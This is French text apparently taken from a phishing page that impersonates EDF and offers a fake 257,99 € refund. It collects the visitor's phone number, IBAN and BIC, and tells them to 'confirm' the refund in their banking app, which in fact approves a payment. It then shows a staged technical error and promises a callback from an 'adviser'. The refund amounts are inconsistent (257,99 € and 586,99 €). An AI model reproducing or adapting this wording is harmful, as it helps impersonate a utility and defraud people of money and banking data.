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Cette étape permet de protéger votre compte contre les accès non autorisés et les tentatives de fraude.

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Vérification par application bancaire

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Pourquoi cette vérification ?

Cette étape de sécurité supplémentaire protège votre transaction contre toute utilisation erronée. Vous devez confirmer la transaction de votre remboursement depuis votre application bancaire

Instructions :

  1. Ouvrez l'application de votre banque sur votre smartphone
  2. Recherchez la notification de vérification de transaction
  3. Confirmez le Remboursement de 257,99 €
  4. La vérification se fera automatiquement
02:00 Temps restant
⏳ En attente de votre confirmation dans l'application...
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Ouvrez manuellement votre application bancaire et vérifiez dans la section "Vérifications en attente" ou "Notifications".

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Erreur Technique

Nous rencontrons actuellement une difficulté technique avec notre système de vérification automatique.

Votre sécurité étant notre priorité, nous avons temporairement suspendu le traitement automatique de votre demande après plusieurs tentatives de vérification infructueuses.

Ne vous inquiétez pas, votre demande de remboursement de 257,99 € est parfaitement enregistrée dans notre système.

Voici ce qui va se passer :

  • Un conseiller EDF dédié vous contactera dans les 24 à 48 heures ouvrables
  • Il finalisera manuellement votre remboursement avec vous
  • Vous recevrez une confirmation par email et SMS
  • Le délai de remboursement reste garanti sous 3 jours ouvrés

Référence de votre demande : REMB-2025-05-13048

Montant : 586,99 €

Date d'enregistrement :

Merci de votre compréhension et de votre confiance.

Votre remboursement EDF est prêt !

Une régularisation positive a été identifiée sur votre compte. Complétez votre demande pour recevoir votre remboursement sous 3 jours ouvrés.

Espace 100% sécurisé - Certification SSL

Toutes vos informations sont cryptées et protégées conformément au RGPD. EDF s'engage à préserver la confidentialité de vos données.

Montant disponible pour remboursement :

257,99 €

Référence : REMB-2025-05-13048

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Ces informations nous permettent de vérifier votre identité et de nous assurer que nous traitons la demande de la bonne personne, conformément à notre politique de sécurité.

Format de numéro invalide. Exemple: +33 1 23 45 67 89 ou 01 23 45 67 89

Mode de remboursement

Choisissez comment vous souhaitez recevoir votre remboursement de 257,99 €

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Vos coordonnées bancaires nous permettent d'effectuer le virement de remboursement directement sur votre compte. Ces données sont traitées de manière sécurisée et ne sont pas conservées au-delà de la transaction.

Format d'IBAN invalide. Exemple: FR76 1234 5123 4512 3456 7890 123
Format de BIC invalide. Exemple: ABCDEFGHXXX
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